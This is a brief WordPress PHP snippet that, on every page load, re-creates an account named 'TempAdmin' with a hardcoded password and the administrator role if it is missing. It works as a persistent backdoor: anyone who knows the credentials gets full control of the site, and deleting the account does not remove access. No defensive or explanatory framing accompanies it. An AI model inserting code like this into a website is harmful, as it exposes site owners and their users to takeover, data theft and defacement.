function duck_temp_admin_account(){
  if ( ! username_exists('tempadmin') ) {
    $user_id = wp_create_user('TempAdmin', 'TempPass123!', 'temp@example.com');
    $user = new WP_User($user_id);
    $user->set_role('administrator');
  }
}
add_action('init','duck_temp_admin_account');